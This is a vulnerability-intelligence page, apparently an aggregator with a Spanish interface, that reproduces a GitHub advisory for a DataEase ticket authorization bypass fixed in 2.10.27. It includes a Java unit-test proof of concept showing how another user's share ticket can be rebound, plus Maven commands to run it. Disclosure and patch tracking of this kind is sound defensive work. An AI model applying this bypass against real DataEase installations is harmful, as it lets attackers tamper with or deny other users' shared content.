llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Maven · io.dataease

GHSA-G85V-G7P5-J787

Ticket authorization bypass vulnerability

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión2.10.27
Exposición58 dDesde la divulgación, 23 sept 2026, 8:19 p. m.
Detección55 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (media) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Esta la tienes controlada, confío en ti.Rumio tranquila, pero no me olvido de esta.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
24 sept 26
18 nov 26
21 nov 26
24 sept 26
8 oct 26
23 oct 26
7 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-G85V-G7P5-J787 divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Impact
An authenticated attacker who obtains another user's ticket can change what it resolves to or invalidate its intended relationship, causing integrity loss and denial of service in ticket-protected sharing.

Proof of Concept

Check out `v2.10.26` and save the following as
`core/core-backend/src/test/java/io/dataease/share/manage/ShareTicketManagePocTest.java`:

package io.dataease.share.manage;

import io.dataease.api.xpack.share.request.TicketCreator;
import io.dataease.auth.bo.TokenUserBO;
import io.dataease.share.dao.auto.entity.CoreShareTicket;
import io.dataease.share.dao.auto.entity.XpackShare;
import io.dataease.share.dao.auto.mapper.CoreShareTicketMapper;
import io.dataease.share.dao.auto.mapper.XpackShareMapper;
import io.dataease.utils.AuthUtils;
import org.junit.jupiter.api.Test;
import org.mockito.ArgumentCaptor;
import org.springframework.test.util.ReflectionTestUtils;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.*;

class ShareTicketManagePocTest {
        @Test
        void regularUserCanRebindAnotherUsersTicket() {
                ShareTicketManage manage = new ShareTicketManage();
                CoreShareTicketMapper ticketMapper = mock(CoreShareTicketMapper.class);
                XpackShareMapper shareMapper = mock(XpackShareMapper.class);
                ReflectionTestUtils.setField(manage, "coreShareTicketMapper",
ticketMapper);
                ReflectionTestUtils.setField(manage, "xpackShareMapper", shareMapper);
                AuthUtils.setUser(new TokenUserBO(200L, 1L));

                XpackShare attackerShare = new XpackShare();
                attackerShare.setUuid("attacker-share");
                attackerShare.setCreator(200L);
                when(shareMapper.selectOne(any())).thenReturn(attackerShare);

                CoreShareTicket victimTicket = new CoreShareTicket();
                victimTicket.setId(10L);
                victimTicket.setTicket("victim-ticket");
                victimTicket.setUuid("victim-share");
                when(ticketMapper.selectOne(any())).thenReturn(victimTicket);

                TicketCreator request = new TicketCreator();
                request.setTicket("victim-ticket");
                request.setUuid("attacker-share");
                request.setArgs("attacker-controlled");
                request.setExp(0L);

                manage.saveTicket(request);

                ArgumentCaptor<CoreShareTicket> saved =
ArgumentCaptor.forClass(CoreShareTicket.class);
                verify(ticketMapper).insert(saved.capture());
                assertEquals("attacker-share", saved.getValue().getUuid());
                assertEquals("attacker-controlled", saved.getValue().getArgs());
        System.out.println("VULNERABLE: another user's ticket was rebound");
        }
}

Prepare the project modules:

mkdir -p core/core-frontend/dist
mvn -DskipTests install

Temporarily set `<skip>false</skip>` in the existing Surefire configuration in
`core/core-backend/pom.xml`, then run:

mvn -f core/pom.xml -pl core-backend \
    -Dtest=ShareTicketManagePocTest \
    -Dsurefire.failIfNoSpecifiedTests=false test

The output on `v2.10.26` is:

VULNERABLE: another user's ticket was rebound
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
Why the Previous Patch Was Incomplete

The patch for CVE-2026-82879 added ownership checks for ticket management. The
update path checks only the destination share supplied by the caller and does
not verify ownership of the existing ticket before changing its UUID.

Affected versions

Affected versions < v2.10.27

Patches

The vulnerability has been fixed in v2.10.27.

Workarounds

It is recommended to upgrade the version to v2.10.27.

References

If you have any questions or comments about this advisory:

  • Open an issue in https://github.com/dataease/dataease
  • Email us at wei@fit2cloud.com

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
io.dataease< 2.10.27
2.10.27
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Mavenio.dataease
Corregida 2.10.27 — —
Versiones corregidas2.10.27
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/dataease/dataease/security/advisories/GHSA-g85v-g7p5-j787

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.